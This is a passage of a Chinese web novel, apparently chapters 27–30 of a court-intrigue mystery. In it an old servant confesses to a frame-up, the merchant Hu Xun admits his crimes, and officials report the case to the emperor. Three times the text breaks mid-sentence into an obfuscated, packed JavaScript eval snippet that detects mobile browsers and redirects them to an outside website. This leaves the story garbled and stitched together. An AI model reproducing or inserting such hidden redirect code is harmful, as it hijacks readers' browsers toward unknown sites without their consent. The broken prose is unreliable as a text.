“为什么？阿奶……当初你为何不说？“许阮冲上前，双眼猩红，双手死死拽着老妪的团领，心中的怒气已让其失去理智，力气有些失控，竟差些就将老妪从地上直直拎起。 很快，许阮又放下拽团领的双手，无力地朝后直直退了几步。其实，她早该猜到，出事前，阿奶就借故家中有事，离开了许府。而不久后，许府便被抄了……而所谓的残次布匹存放的后仓，也有下人见其曾去过……诸事种种，若是细细揣度。自是能发现其中蹊跷，找到事情真相。 不是她木讷，发觉不出。而是她不愿，更是不敢。不敢……去相信被昔日亲近之人的背叛。这宛如一把钝刀，在她的身上不停剜挑，不致命，却是刀刀折磨，痛苦难耐，最终溃不成军，使人崩溃。 一旁胡氏伸手扶住其身子，却被堪堪躲了过去。 “我该死。”老妪不停磕头，额角已然红肿，更有几处鲜血流下，顷刻便将红肿处遮掩住，糊了满脸。 柳如意见状，赶忙制止道，“与其磕破头忏悔，不如早些说出实情，还许老爷一个清白。” “望大人还许老爷一个清白。”老妪郑重一拜，眼神有祈求，亦有懊悔。 “好。” 立于一旁的许昭亦是杵着手，叹息道，“早知如此，何必当初。” 27. 真相大白 天大明，虽是初秋，日头依然猛烈。加上房间本就朝南，整个房内似是被架在炙火上灼烤一般，格外闷热，令人喘不过气。 “是胡讯……幕后真凶就是胡讯……” 又是一声惊雷。 胡氏只觉得自己心似是被一只巨掌狠狠握着，喘不过气。脑中思绪翻飞，真凶竟然是阿爷……怪不得，总觉得多年后再见阿阮，她对自己似是疏离了不少。 她往一旁瞥了眼，许阮面上虽是忧伤，却未露出半点错愕。原来她……早就知道。 “那日，小姐托我前去胡府送信。”老妪闭上眼睛，陷入了那段痛苦的回忆。 “不巧，那日，胡小姐恰好在后院祖祠礼佛。因奴是胡府的常客，小厮未将奴当成外人，恰好那日胡府也忙，听说是京都那临时来了位贵客……故小厮告诉我大概方位后，便去匆忙离去了。” “只是，奴之前也未曾去过胡府祖祠，迷了路，误打误撞，进了胡讯的院子，偷听到他们的密谋……” 说到这，一丝丝怖色浮上老妪脸上。 “说了什么？”柳如意眉头一蹙，又是京都？ “说老爷挡了他们的道，欲将其除之……” “可瞧见另一人面孔？”柳如意接着问道。 老妪摇了摇头，接着说道，“当时，奴被吓到了。只记得，那位大人自始至终背门而坐，头戴黑色斗笠覆面，似是身体骨不好，明是刚入秋的天气，却罩着裘袄。” 身体骨不好？一身影在柳如意脑中闪过。终日暖炉倚身，自小就身体孱弱，终日药物傍身，也是常年罩着裘袄……很快，柳如意便打消了这念头，其长年病痛缠绕，多半时间卧病在床，哪有时间亦或是精力，来如此偏僻的安平县。况且，左氏已经退出朝堂之争良久，在京中也只是谋个芝麻小官，应是不至于。 “然后，我只想着赶紧逃离那恐怖地方，却不慎撞上栏杆，发出声，被抓了个现行。” “开始，他们本想杀我；后来，不知为何，那位大人突然变了主意。竟让我指认老爷，胡诌的罪名，奴定是万般拒绝……可是，他竟然用奴那幼子威胁我。”老妪哽咽道，“奴开始也是果然拒绝，直至见幼子血淋淋出现面前，奴动摇了。” “可能觉得我嘴硬，后来那人竟改了主意，给了奴一瓷瓶，让我将其洒在府中的布匹上。”老妪嗤笑，笑中带着凄怆，“若是知晓这番后果，老奴宁愿死。” 权贵面前，命如草芥。柳如意叹了口气，悲其遭遇，又厌其苟且偷生。老妪虽可能未勘破“陷害”之局，却在明知对方不怀好意的前提下，带着一丝侥幸之心，将药物洒在布匹之上，害得许府满门上下被杀，那些也都是无辜生命啊。 “那你后来为何离开许府？为何又装疯？”柳如意接着问道。 “干了那事后，奴日夜难眠，心中不满，亦觉得无言面对老爷，便离开了许府。”老妪顿了顿，“至于装疯，是因一黑衣人……在得知许府被抄时，奴本想一了百了，以死谢罪。但是，就在奴自缢之时，那黑衣人阻止了我，并告诉奴小姐还活着……” 那些人扳倒许府后，自然接下来便是清理“知情”之人！装疯，自是可以蒙蔽胡讯一行人，使其放松警惕，毕竟一个疯子构不成威胁。可是，那人都未忘自证物中取出状告，如此细心谨慎之人，没有斩草除根。只能说，遇到了其他势力，令其不得不低调，放弃刺杀计划。 “黑衣人？”柳如意疑惑道。 老妪点了点头，“天色太暗，加上其黑巾蒙面，未看清其长相，”老妪伸手从怀中掏出一物件，被碎布层层包裹，打开后，原是飞镖，“这是当初他救我遗落在地上的。” 柳如意一下愣住，接飞镖的手都慢了半拍。 “认识？”沈暨白察觉异样，问道。 和那黑衣人身上的饕餮图案一样，这飞镖，她曾在太子府见过。那是太子养的暗卫，为何会出现在这？ 之前救其性命，如今又将其杀之？明显是两拨人，若非有人故意冒充太子府势力，欲嫁祸于太子；那便是暗卫中出了歹人，被人策反，生了旁心。 可是，那些暗卫不是自幼培养，选的也是冷血无情之人，怎么会那么容易被策反呢？ 那便是第一种！可是知晓太子圈养暗卫的人甚少，莫非太子党羽出现叛徒。 柳如意心中满是疑惑，面上无异，摇了摇头，“不认识。只是觉得熟悉。” 沈暨白未言语，低头打量起飞镖，只见刀刃极薄，泛着寒光。飞镖上……赫然刻着饕餮图案。他心下一凛，这图案他曾在东宫不小心瞥见过。 东宫，竟然也参与进来了？是主动还是被迫？沈暨白透过窗，盯着远处的远山。只见，天色晦暗，云不知堆了几层，将山笼了起来，令人看不真切。 他看不清山，正如他看不懂这时局一般。层层浓雾中，已有人悄然选择立场。 如今朝堂，太子赵奚、四王赵冉、九王赵阑，属这三位皇子能力出众，亦是以这三位皇子为中心，分派而立，各为阵营。 其中。 太子能力最为中庸，嫡长子身份，加之其岳父为礼部尚书，背靠礼部，位置坐得还算挺稳。 四王赵冉，康贵妃之子，生母为户部尚书嫡女。仗着皇帝宠爱，底下没少联结大臣，朝中势力亦是盘根错节。 九王赵阑，贤贵妃之子，母家为世家崔氏。能文能武，心思细腻。三位中，就属其最亲近武官，故党羽中武将偏多，在崇文轻武的大乾，自然势力也略微偏弱。 此局对弈，是他们当中的谁呢？又是为何呢？ 沈暨白心跳如擂鼓，他似是有些参悟了背后人意图。 长公主女尸案，已令四王失去一臂膀。而湖广又是四王的封地，若是出了这事，虽不至于伤其根本，但短期内至少让其失去抗衡之力。 如此看来，这场局最大赢者便是太子！可是，如此步步紧逼，倒不像其一贯作风。 不知何时，外头已然飘雨。雨落无声，风挂在脸上更是格外刺冷。 他瞥了眼一旁同样低头思忖的柳如意。该来的总是挡不住。终还是入了局。 “大人，这是当初那人留给我的瓷瓶。” 柳如意接过，用鼻尖轻轻一嗅，眸色一沉，“果真有问题。里头有令人发痒的痒痒粉，若是长期接触，皮肤会红肿。” 许昭接过，亦闻了闻，“对，当初布料上也有股这淡淡梨花香。” 如此拙略的陷害，他不信那群常年察言观色的，看不出来。那么定是受人指使。 四王？他如此做，又究竟为何呢？须臾间，沈暨白又想起失踪的官银。赵阑之所以势大，在于财力。若是合理取财便罢了，那要是敛财贪墨，景元帝还会护他吗？那人难道在赌？赌这父子情，若是赌赢了，赵冉便无翻身之地。可是，内心直觉告诉他，那人定还有后手，其步步谋略，布局周密，不似将成败交于命运之人。 沈暨白阖上眼睛，脑海中将案件又快速闪了遍。猛然，灵感乍现，眼神一亮。 许阮，整个案件自此至终贯穿的一条线。他是他人做局的受害者，家门被屠。亦是权力之争侥幸者，被人所救。 自这局开始便一直在，胡讯，胡氏，陈牵，许涟，老妪，黑衣人……都和她有牵连。她知晓阿爷被陷害，知道老妪有内情，明白陈牵被利用，知道醉红楼只是个幌子。所以，这一局，她很关键，也可能只有她知道幕后之人究竟是谁、真正目的何在。 想通了这点，沈暨白目光灼灼地盯着许阮道，“许小姐，不打算也说些吗？” 许阮亦是盯着沈暨白，一本正经道，“大人，想听我说什么？阿爷的惨死？许府的灭门？若是想听这些，倒不如将许涟抓来，都是他亲手干的，想必讲起来更切实些。”其面上虽是淡淡的，但是语气中有种疯感。 沈暨白未理会其嘲讽，四两拨千金道，“说说你幕后之人吧。” 许阮眸中闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537380|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一丝讶异，勾唇一笑，“大人说笑了。许府都被抄了，我还认识什么人？” 死鸭子嘴硬。沈暨白不愿与其辩驳。算了，还是先找到官银下落，再慢慢与其周旋。 于是，便吩咐道，“传讯胡讯。”说完，又补充了句，“顺带叫上知府、知县。” 官廨内。 沈暨白坐在堂上。知府王宇、知县刘庆各支一把太师椅，坐在其左右两边，眼神中满是疑惑不解，亦带着几分不安。 胡讯拜下，语气中满是试探，“沈大人，不知我是犯了何事？如此兴师动众。” 沈暨白厉声质问道，“就说你是如何陷害许涟，谋杀当朝命官知县曹知的吧！” 此言一出，满堂噤声。 坐在堂上的王宇、刘庆额头更是沁起一层薄汗。 “大人，冤枉啊。这事定是奸人诬陷于我，我和许涟情同手足，我怎么会陷害他呢？”胡讯当即跪倒在地喊冤叫屈。 “是吗？”沈暨白眸色一冷，“带证人。” 立马，柳如意便将老妪、许阮带上堂来。 “胡氏，这两人你可认识？” 胡讯眼里错愕一闪而过，微微顿了顿，点头道，“认识。可是这能证明什么？若是和她们有牵扯，就是罪魁，那这满堂怕是没有一个无辜？大人不也是吗？” 沈暨笑道，“可是……她们指认你勾结奸人，已当堂画押，并且有证物做证。”他又随手将瓷瓶向胡讯身上掷去，“这药瓶你可认识？里头就装着当年令许昭夫人过敏的药物！” 胡讯摇了摇头，面上有些激动，“大人，莫听她们信口雌黄，这药物我根本未见过……她们定是记恨当年我未就许涟，所以才做了伪证，污蔑我。” 沈暨白一听这话，打了个手势，“林耀！”说完，又将消失的匿名状书扔在地上，“你府中找到的，瞧瞧上面是不是你字迹？” 顿时，林耀便带着一当铺掌柜、青衣小厮走了进来。 那位青衣小厮正是在当铺撞倒的那位。 胡讯见状，一哆嗦，跌倒在地，完全放弃了挣扎，一股脑地将事情倒了出来。 而王宇、刘庆更是如坐针毡，觉得日子格外难捱。虽然他们只是在其充当“睁眼瞎”，但也间接促成曹知的死。沈暨白沉潜刚克，又会如何处理他们呢？ “是我嫉妒许涟！做局陷害了他。” “那年，胡平县来了个大单，司礼监要从我们这采购一批丝帛。不过，可惜只选一家。” “我自知自家技艺不如许家，于是我便私下同许涟商量，将我名下布匹商铺皆闭肆，并向官衙缴帖。后二人合本，制作丝帛，分成按二八分。我本只想借机搭上官家生意，可是，他太执拗，坚持说上头说只选一家，执着于死规矩，不懂变通。” “那曹知也是，一根筋……许涟拒绝我后，我便自汴京一带，花重金购了匹样式极好的丝帛，想借巧取胜。不料，曹知老家竟是汴京，其又精通丝帛，一眼便识破了，还欲将这事上报上去。司礼监都没说啥，他偏偏多管闲事……” 大丈夫宁为玉碎，不能瓦全。曹知不是执拗，是将圣贤书读进脑、践于行，是坚守内心正直，是真的做到“君君臣臣”的忠臣。 汲汲营营，不过为财为名。可是那是二、三时人无辜性命，而这一切幕后魁首便是胡讯的一己之私。柳如意韫怒，伸手指着胡讯厉声质问道，“所以，你便伪造了封书信，构陷许涟和曹知勾结；又威胁阿婆，让其将药粉洒在布料之上；怂恿衙役，让其将有毒的布匹拿到许府；最后匿名举报…… “是！成王败寇，要杀要剐，悉听尊便。”胡讯扬起脖子，一心求死。 立于一旁的许昭，本就听着气愤，尤其是想到自家媳妇无辜遭的苦楚，又见其一服不知悔改模样，忍无可忍，一脚踹到了胡讯脸上。 许昭力大，胡讯吃痛，吐了一口鲜血。 沈暨白眯了眯眼，“留口气，他还有事没交代。” 29. 该出手了 马车辘辘行在大道上，车厢内静默无声。 沈暨白依在车厢闭上，眼底满是乌青，眉宇间尽是愁绪。 突然，车行岔口处停下，许昭掀起车帘，朝里头喊了句，“到了。” 透过车帘，一马夫牵着马车立于岔路另一边，恭敬着候着。旁边还立了位女婢，头梳双马髻，身穿青色长袄，模样倒是端正。 沈暨白闻言睁开眼，对上一脸茫然的柳如意，解释道，“路遇荆州，想回去看眼。你先回去吧？马车、盘缠、干粮都也已安排妥当。” 柳如意深思一阵，因记挂沈暨白救过其几命的恩情，答道，“陛下命我俩一同前来，若是我提前回去，不见大人影子，怕被朝中有些小人借此大做文章，还是我同大人一起前去……” 其实这一点，他也有考虑到，自己未提前向圣上告假，返乡探亲，实为不妥，只是，如今案件已牵扯陈府，却有必要前去见见祖父，商榷一番，遂扬手一揖，“劳烦了。” 柳如意摆了摆手，见沈暨白如此郑重，脸色微红，“大人严重了。” 陈昭立于一旁，“那马车？” 沈暨白想了想，“荆州，车夫想必其人生地不熟，给他些银子吧。到时候到荆州再行安排。至于那丫头，看着手脚灵活，就留下照顾如意吧。” 那丫头闻言，立马上前，正要跪下。 柳如意在马车上弯腰一捞，手不小心蹭到其双手虎口处，有层薄薄的茧，又观之其虽身穿粗布麻衣，身型确实秀丽挺拔，凑近可闻到其身上散发地淡淡的草木香，遂开口道，“不必行礼。这恩情完全承蒙沈大人，若不是沈大人，我俩就算是有缘，可能也只是有缘无份吧。” 沈暨白嘴角一勾，扫了眼柳如意，好没良心的，竟然怀疑自己在其身旁安插眼线，不过，他这次确实是真心实意，遂悠悠开口道，“这我到不敢居功，许昭自西市找的医师。” 许昭幽怨道，“这可花了小爷我不少功夫，身世清白，又有些药理傍在身上的，还真是难找。不过，你确实需要一医师在身边，打打杀杀的，也能照顾一二……” 柳如意闻言，脸更加通红，耳根子仿佛要被烧起来一般，咳了咳，“你叫什么？” “青衣。” 柳如意点了点头，人如其名，倒是简单，“家中可有其他人？” 青衣摇了摇头，“没有了。” 柳如意瞥了眼沈暨白，见他深情淡淡，一双眸子甚是清明，倒是觉得自己疑心，其挑选青衣时，定是经过了相应调查，自己这般问，倒是将不信其的心思摆至明面，遂开口道，“启程吧。” 马车辘辘走了一天，经过府前路时，虽天色渐沉，层云笼罩，却一点也不影响市间的热闹，耍杂耍，卖吃食……吆喝声不绝于耳。 柳如意掀开车帘一角，一眼便瞧见人群中金发碧眼的人儿，“这倒是比京中热闹……竟还有波斯人。” 沈暨白道，“江浙一带本就是盛产丝绸，且多运于波斯等国……有些波斯商人，倒也不奇怪。” 马车到陈府时，已是暮色四合。 陈府位于城南一隅，没有中心那般繁华，诺大的府邸，确实格外凄冷，门口坐着两尊石狮，门檐下挂着两盏大红灯笼，洒下星星点点光亮。 暗夜中，一人远远见到马车，亟亟迎上来，“公子，可算回来了，老爷在书房等着。”此人正是府上管家王行。 沈暨白点了点头，转头对柳如意说，“如今天色已晚，你先去休息，明日还得启程回京。” 闻言，王行就立马将柳如意向偏殿引去。 沈暨白、许昭两人则是顺着抄手游廊，来到了后院的书房内。 “祖父。” “阿爷。” 两人撩袍而跪。 许宗坐在书案前，嗯了声，指着不远处的方椅，“起身吧。” “听说……已经查到四王头上了？”许宗双鬓斑白，因上了年纪的缘故，身子骨倒是有些消瘦。一双眸子满是柔和，却那股早年在官场上沉淀至骨头里的威严果断却仍遮掩不住。 许昭点头，抢先开口道，“昨日，胡讯招了，背后之人正是户部尚书范岩！” 房内一阵静默，充斥着严肃凝重的气氛。 “你怎么看？”许宗望向沈暨白，问道。 “官银失踪，四王肯定有参与其中。但是，胡讯背后，或许另有其人。有人……想借这个把柄，用许府的手，拔掉四王的爪牙。” “好一个一箭双雕！若是中招，既拉上我们，又帮其折了四王一翼。”许昭愤懑道，“那这次我们将线索移交给大理寺？” 沈暨白摇了摇头，“不妥。圣上是令我和大理寺一同前来，就算是借大理寺的口说出，明眼人也一眼就能看出其中的弯弯绕绕。而且，躲得了这一遭，还会有下次，下下次……而且，如今扳倒了户部尚书，还未是时候。” 许宗点头，露出一丝赞许神情，“不错。” 在一旁的许昭听得有些云里雾里，阿爷和表兄有时候总能心照不宣，说些高深之事，遂挠头不解问道，“为何现在不是时候？” “如今，朝廷三王鼎立，势力彼此掣肘，若是削了四王势力，八王一党则会将矛头对上太子。而，八王手上握着兵权，若是其起了谋逆之心，后果不堪设想……如今，朝廷凋敝，百姓经受不住如此大阵仗的动乱……” 兴百姓苦，亡百姓苦。好不容易的苟延残喘，不知道能持续多久。 许宗补充道，“你直接呈上去吧！不过，供状要改，不能是户部尚书！” 沈暨白闻言，心绪渐沉，眉头一皱，这一点，他也考虑到了，只是一直未想出一个合适的人，问道，“那改为谁？” 许宗沉默了片刻，“胡榭。” 沈暨白与许宗对视一眼，恍然大悟。胡榭，前户部左侍郎，官至三品，确是有这能力指使陈牵。加上，如今其已疯癫，完全失去棋子价值，若将其推出去，看在长公主面上，圣上也不会再过问太多。而背后之人自是不了了之。 “昭儿，你也随暨白一起去京城吧。”许宗叹了口气，说完，自案前拿起一杯冷水泼入砚台，研磨铺纸，不一会便洋洋洒洒写下几行字。 随后，又自一旁的红匣子中，拿出一方印章，盖在其上，“到时候你就将这个给户部尚，他自会明白。”随后又长叹口气，“迟早要面对的，不如早些入局，还能提前洞悉局势。” 沈暨白闻言，瞬间明白了许宗话外弦外之音，面色顷刻沉了下来。 许昭一楞，疑惑道，“我们要是执意不入局，背后操手还能逼我们入局？” “祖父虽远离朝堂多年，但作为开朝元老，势力虽不说是权势滔天，但毕竟年少曾跟圣上拜过把子，有生死患难之交。所谓不看僧面看佛面，你觉得那人不忌惮这些，是为何？” 许昭愕然，“你是说这是圣上默许的？” 沈暨白点了点头，“虽祖父一心想远离朝堂，但是其年少时，累积下的人脉、势力，便就注定他无法真正远离朝堂。”毕竟，是和景行帝一块开朝打天下的，关系早已不自觉渗入大乾内部。 如今的大乾，太需要位明君挺身而出。这位明君，不是循规蹈矩的，若只是简单重复祖宗的旧制，是无法扶起这岌岌可危的大乾。相反，更应是位大刀阔斧、另辟蹊径的明君。 而，要做到这一切，需要一位他信任的人，或者是他信任的家族前去扶持。而这个人，这个家族得有一定威严，便于明君初显时，能带动朝堂之人拥趸他！于是，这位年老的帝君，想起了曾经同他一起打江山的兄弟，远在荆州的许家。 “昭儿，你前去京城，要多思慎言。那儿不比荆州，一步错，满盘可能皆输……切记，多听暨白的话。”许宗站起身来，拍了拍许昭的肩，未说几句，便掩口咳嗽起来。 沈暨白见此情形，将热茶递了上去，“祖父近来身体可好？” 许宗接过热茶，饮了几口，咳嗽方可止住，“都是些老毛病。”说着，托起沈暨白的手，“以后，许家得靠你了。昭儿心性过于耿直，若是放到战场之上，倒也不担心什么。可是，若真去了朝堂当中，我担心其斗不过那些文官。” 沈暨白俯首磕头，“我会的。” 许宗点了点头，将其扶起，又道，“听说，宋煜徒儿也一块跟来了。” 沈暨白愣了下。 很快又想通了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537382|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许宗、宋煜当初是一块随着景元帝打江山的功臣，两人一文一武，是当今圣上的左膀右臂。可惜，宋煜虽是一个不可多得的将才，却在待人接物这块，差到一塌糊涂。耿直的性格，得罪了官场中不少文官。 加之，景元帝当初有意削弱武将势力。那些见风使舵的朝臣们，都有意无拉踩宋煜几脚。 而宋煜呢？也不多做解释，认为自己行得正坐得直，无需费时间去解释。可终是三人成虎，谣言多了，听者也就信以为真了。 随后，在景元二十年的兵部改革中，被请回老家去。美其名曰，告老还乡，赐从三品镇远将军。不过，将帅失了兵权，给了官衔再高，也都是虚名。 而那时，自己也早已告老还乡，不掺合朝中之势，所以也只能去信一封，聊表安慰。 昨日，收到许昭来信，想起旧人之姿，遂又问了起来。 沈暨白点了点头，“见天色已晚，便让其先下去休息了。” 许昭叹了口气，“之前，没少听宋煜夸她，说其聪敏坚韧，为人正直。如今，她即来了许府，我也该见她一面。” 沈暨白嗯了一声，“我会与她说的。” 天色白蒙蒙的，已有晨光破层云而出。 柳如意起了个大早，一开门，见沈暨白在其门口来回踱步，走近问道，“大人，是有什么事吗？” 沈暨白顿了会，“祖父想见你。” 柳如意一听这话，愣了愣，明显未料想到许老开口要见自己。 于是，自心中暗暗揣度起原因来。难道是因为阿父是礼部尚书？很快，她否认这个想法，毕竟，许老什么权势未曾见过，加之他早就归隐，自是没必要借此巴结礼部。 一个念头自柳如意脑中迅速闪过，她记得，师父曾没少在他耳边叨叨，他有个手无寸铁之力，舌却可战群儒的故交，好似也是荆州之人。 淡淡晨雾笼在柳如意肩上。 沈暨白见其迟迟未说话，“确是有些冒昧。只因祖父与宋将军是故交，交情甚笃。因你是宋将军徒弟，又闻你来了荆州，故想一见。若是你不想见，我找借口推辞掉。” 柳如意摆了摆手，俯首一揖，“是我的错。昨晚就应前去拜见许老的……” 日光渐亮，霞色喷薄欲出，柳如意随着沈暨白来到大堂。 柳如意俯身向许宗行了个礼，“如意拜见许世伯。” 许宗望着她，一身飒爽英姿，果如宋煜所言，虽其有意敛住身上的锋芒，可眼中的那抹聪黠却是骗不了人，“不必拘礼。坐下吧。我和你师父宋煜是故交。” 柳如意道，“师父也曾没少向如意提起你，赞叹说您才情盖世，一身儒家之风。” 这话一说，许宗越瞧越觉得柳如意讨人喜欢，“宋煜那老头倒是找了个好徒儿。倒没习得他那个榆木脑袋。如此，老夫也就放心了。” 或是心中觉得女子为官不易，又陷入皇位之争，许宗又叹了口气，“这条路，你若走下去，确实苦了些。不过，老夫相信你，是个明辨是非的人。在这官场，是非对错，正直善恶，或许会被一时阴暗蒙蔽，但迟早会有拨云见日的那日。” 许宗似是盯着她，又似透过她，对远方昔日故友所说。 柳如意深深一揖，“如意谢许世伯教诲，日后定谨记于心。” 许宗闻之，欣慰一笑，自身后拿起一长盒，递给柳如意，“之前托工匠打造的长剑，本想送给宋煜的，迟迟为未送出去。不过，如今看来，它似乎等来了个好主子。” “太贵重了。”柳如意推托道。 “这把剑，宋煜如今也用不上了。放在许府，也是让宝剑蒙尘。” 柳如意见许老甚是热情，只得接过盒子，将其打开。 只见其刀鞘漆黑，柳如意伸手将剑取出，用力一抽，顿时一道寒光闪过，而剑身似是经过烈火淬炼，已是黯然无光，柳如意足尖轻点，来到外头庭院，抽剑轻轻一划，所经之地，树叶、枯枝簌簌落下，“好剑。” “如意谢许世伯。”耍完剑后，柳如意甚是流利地将剑插入剑鞘。随后，又是一个箭步，闪到了许宗身前，跪地行了个谢礼。 许宗大笑，“喜欢就好。” 30. 搅弄风云 几人又在大厅内说了会话，无非是些陈年旧事。 云破日出，朝霞刺破层云，洒下灿灿晨光。 因还急着回京向皇上复命，几人匆忙拜别许宗后，便径向府外走去。 府门外，青衣等人已经候在道旁。 许昭同夫人刘氏立于马车前，满眼满是不舍。 “冬衾可备着了？那边入冬比家中早些，可要注意身体。”刘氏双眼红肿，明显是昨晚已经哭过一场。 许昭点了点头，“都带着呢。待我在京中安稳下来，再将你和平儿接过去。” 刘氏含泪点头。都说是来日方长，可前路究竟如何，谁也说不准。现被无妄卷入党争之中，她不求名利，只求其能平安无事，遂从袖口拿出一平安符，“这是家母在妾身出生时自寺中求得，护妾身十几年载安虞。现赠夫君，以祈安康。” 许昭接过，将其收入怀中。 柳如意先行登上马车。 沈暨白欲跟上，被许宗一个眼神给止住了。 “祖父，可是还有什么何事？”沈暨白走至其跟前，问道。 许宗咳了咳，低声说道，“暨白，这条路太难，找个同行的人吧！我瞧着那姑娘不错，若是合适，祖父可代为下聘。” 沈暨白因父母早逝缘故，自幼就跟着他，算是其一手带大。他悟性极高，凡事不点即透，但生性内敛，喜怒从不显于形，就算是受了什么委屈，也是打碎骨头往里咽。有时，他真的觉得清冷的不像世间人，倒像是断情绝念的仙人。 如今，好不容易见到位暨白“看中”的女子，自然也就把这终身大事提了上来。 沈暨白面上没什么表情，心却如同被芦苇拂了一般，无波无澜的内心激起圈圈涟漪。良久，应道，“多谢祖父好意，这事待朝堂安稳下再说吧。” 许宗本想叮嘱几句，话到嘴边，又无奈改口道，“罢了。日后有何事需要祖父帮忙的，只管直说。”暨白定是有其自己考虑，若是两人未成，定是这两孩子缘分不够。 沈暨白点了点头，拜谢后，踏上了马车。 到京中那日，正值八月十四，端午前夕。 几人到时，已至四更天，匆忙回府换了朝服，拿上笏板，便亟亟上了去宫中的马车。 梆声三响，殿内出来群掌灯内侍，将群臣引了进去。 不一会，庭中传来一声，“陛下到。”一身龙袍的景行帝自群臣的行礼下走向龙椅。 沈暨白、柳如意因回京复命缘故，最后进殿，跪地觐见。 柳如意自怀中拿出奏疏呈上，“臣大理寺寺正柳如意，奉命审查安平县官银失踪一案，现已审查结束，官银也已悉数找回。” 内侍接过柳如意手中的奏疏、供状、卷宗等，将其呈至龙椅上的景行帝。 景行帝略微看了一眼，不动声色道，“事情经过，朕已知晓。中秋月圆，众爱卿都等着回去共享喜乐。”说完，又看向沈暨白，淡淡问道，“沈爱卿觉得朕该如何处置这些人？” 沈暨白合揖，“商贾胡讯捏造假证，构陷廉商，谋害官员，侵吞官银，按大乾律法，应满门抄斩。王宇、刘庆等人，收受贿赂，帮做假证，草芥人命，也应斩首示众。陈牵等人，伙同胡讯转移官银，知法犯法，罪孽深重，虽死仍不足惜，因曝尸示众，以儆效尤。” “至于前胡平县县丞曹知，商贾许涟，恕臣愚钝，确不知如何是好？” 景行帝点了点头，大悦，“至于曹知，守节乘谊，为人忠正，追封都梁王。” 说完，顿了顿，“至于许涟，恪守本分。朕记得其尚有一女在世，就封安乐县主，赐黄金百两。” 景行帝抬手扶了扶龙椅，爽朗大笑，“此行安平，两位爱卿也是辛苦了。既帮朝廷追回官银，功不可没，庭议后，礼部按照旧制论赏，不必请示了。” 礼部尚书柳叶越众而出，“臣谨遵圣命。” 沈暨白、柳如意叩谢，“谢陛下。” 景行帝又喊了句户部尚书、史部尚书，对俯首行礼的范岩、许焘说道，“至于户部、吏部，终是你们管理不力，出现如此纰漏，都罚禄一年。” 两人叩谢，“谢陛下。” 景行帝看了樨台下一眼，诺大宫殿中静默的朝臣，心思各异，拥趸着自己心中的将王，将这本就混沌的朝廷搅得更加混沌。 或是年老的原因，他觉得就单处置这些人，就疲惫极了遂摆了摆手，“沈暨白留下，其余人退朝吧！”众臣们俯首揖礼，依品衔顺次退了出去。 殿中龙涎香淡淡。 景行帝淡淡道，“听说，许昭来京城了。” 沈暨白点了点头，“嗯。今早同微臣一起到京中的。” “他没来吗？”景行帝说这话时，眉眼间满是沧桑凄凉。 沈暨白愣了愣，立马反应过来，景行帝问的是许宗，“祖父年迈体弱，近些年，身体也是愈发不好，经受不住长途跋涉，加之，初冬将至，遂便留在荆州了。” 景行帝听着很不是滋味，心中满是悔意。当初，为巩固皇权，一意孤行削弱武将势力，不听任何人进言相劝，就连昔日把酒言欢的兄弟之言也抛之一边。终是他亲手将两人交情毁了。 良久，长叹一口气，“许昭是非分明，又自幼习武。朕记得，兵部郎中的位置仍空缺，就让他去那里吧。”说完，又自顾自摆手道，“沈卿，退下吧。” 沈暨白自墀台而下，一路向宫外走去。 两边的高墙，令人心生压抑。寒风凛冽，盘旋在宫禁之上，发出怒吼之声。 沈暨白觉得嘲讽，那人一边是对故友的愧疚之情，一边又将故友孙儿拉入朝堂之争。 景行帝将许昭一下放在这么高的位置，自九品官职一跃五品郎中之位，究竟是信任而重用？还是想用他掣肘许府或者是自己呢？ 茫茫天地，剩余只剩风声，而沈暨白却觉得无比嘈杂。 柳府内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537383|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本应该是大喜之日，众人坐于书房，脸上满是沉重。 柳如意摊开纸张，将那日在老妪家中图案画在纸上，“父亲、阿兄，这就是那些暗卫身上的饕餮图案。” 柳祈安立于一旁，看后脸色一黯，“没错，就是这图案。为何会突然出现在胡平县呢？难道太子暗卫中出了内奸，亦或是有人得知图案，佯装太子暗卫，意图陷害太子。” 柳如意眉心一蹙，“那人会是谁呢？” “知晓太子暗卫的人本就少。而且那些暗卫都是自小培养，若是出了内奸，那……那人得从多早年前就开始谋划？”柳祈安越想越后怕，那人如此韬光养晦蛰伏在暗处，布了如此一长远之棋，究竟只是为了这皇位，还是为什么？只觉得一种无端压迫感迎面而来，压抑地其喘不过气来。 柳叶抿了抿唇，吩咐道，“祈安，待会派人去查下太子暗卫里头是近期可有少人，若是有，务必摸清底细，揪出幕后之人。若是人未缺……是时候也该重新换一波人。把之前备着的那一波麒麟暗卫用上吧。” 